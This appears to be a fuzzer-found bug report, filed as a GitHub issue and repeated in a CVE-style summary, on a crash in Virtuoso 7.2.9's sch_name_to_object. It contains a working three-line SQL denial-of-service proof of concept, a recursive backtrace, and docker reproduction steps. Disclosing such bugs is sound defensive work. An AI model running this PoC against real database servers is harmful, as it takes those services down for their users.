An issue in the sch_name_to_object component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1(x VARCHAR, k VARCHAR, v VARCHAR);
CREATE VIEW t1 AS SELECT x, x FROM t1;
UPDATE t1 SET x = x + 100;
```
backtrace:
```c
#0 0x6080d1 (sch_name_to_object+0x11)
#1 0x7dcf6f (sqlc_update_searched+0x6f)
#2 0x817cd1 (sqlc_update_view+0xaa1)
#3 0x7ddad0 (sqlc_update_searched+0xbd0)
#4 0x817cd1 (sqlc_update_view+0xaa1)
#5 0x7ddad0 (sqlc_update_searched+0xbd0)
#6 0x817cd1 (sqlc_update_view+0xaa1)
#7 0x7ddad0 (sqlc_update_searched+0xbd0)
#8 0x817cd1 (sqlc_update_view+0xaa1)
#9 0x7ddad0 (sqlc_update_searched+0xbd0)
#10 0x817cd1 (sqlc_update_view+0xaa1)
...
#2546 0x817cd1 (sqlc_update_view+0xaa1)
#2547 0x7ddad0 (sqlc_update_searched+0xbd0)
#2548 0x817cd1 (sqlc_update_view+0xaa1)
#2549 0x7ddad0 (sqlc_update_searched+0xbd0)
#2550 0x817cd1 (sqlc_update_view+0xaa1)
#2551 0x7ddad0 (sqlc_update_searched+0xbd0)
#2552 0x6b7212 (sql_stmt_comp+0x812)
#2553 0x6ba122 (sql_compile_1+0x1a62)
#2554 0x7c8cd0 (stmt_set_query+0x340)
#2555 0x7cabc2 (sf_sql_execute+0x922)
#2556 0x7cbf4e (sf_sql_execute_w+0x17e)
#2557 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#2558 0xe1f01c (future_wrapper+0x3fc)
#2559 0xe2691e (_thread_boot+0x11e)
#2560 0x7f5b7a921609 (start_thread+0xd9)
#2561 0x7f5b7a6f1133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at sch_name_to_object
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at sch_name_to_object
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1(x VARCHAR, k VARCHAR, v VARCHAR);
CREATE VIEW t1 AS SELECT x, x FROM t1;
UPDATE t1 SET x = x + 100;
```
backtrace:
```c
#0 0x6080d1 (sch_name_to_object+0x11)
#1 0x7dcf6f (sqlc_update_searched+0x6f)
#2 0x817cd1 (sqlc_update_view+0xaa1)
#3 0x7ddad0 (sqlc_update_searched+0xbd0)
#4 0x817cd1 (sqlc_update_view+0xaa1)
#5 0x7ddad0 (sqlc_update_searched+0xbd0)
#6 0x817cd1 (sqlc_update_view+0xaa1)
#7 0x7ddad0 (sqlc_update_searched+0xbd0)
#8 0x817cd1 (sqlc_update_view+0xaa1)
#9 0x7ddad0 (sqlc_update_searched+0xbd0)
#10 0x817cd1 (sqlc_update_view+0xaa1)
...
#2546 0x817cd1 (sqlc_update_view+0xaa1)
#2547 0x7ddad0 (sqlc_update_searched+0xbd0)
#2548 0x817cd1 (sqlc_update_view+0xaa1)
#2549 0x7ddad0 (sqlc_update_searched+0xbd0)
#2550 0x817cd1 (sqlc_update_view+0xaa1)
#2551 0x7ddad0 (sqlc_update_searched+0xbd0)
#2552 0x6b7212 (sql_stmt_comp+0x812)
#2553 0x6ba122 (sql_compile_1+0x1a62)
#2554 0x7c8cd0 (stmt_set_query+0x340)
#2555 0x7cabc2 (sf_sql_execute+0x922)
#2556 0x7cbf4e (sf_sql_execute_w+0x17e)
#2557 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#2558 0xe1f01c (future_wrapper+0x3fc)
#2559 0xe2691e (_thread_boot+0x11e)
#2560 0x7f5b7a921609 (start_thread+0xd9)
#2561 0x7f5b7a6f1133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---
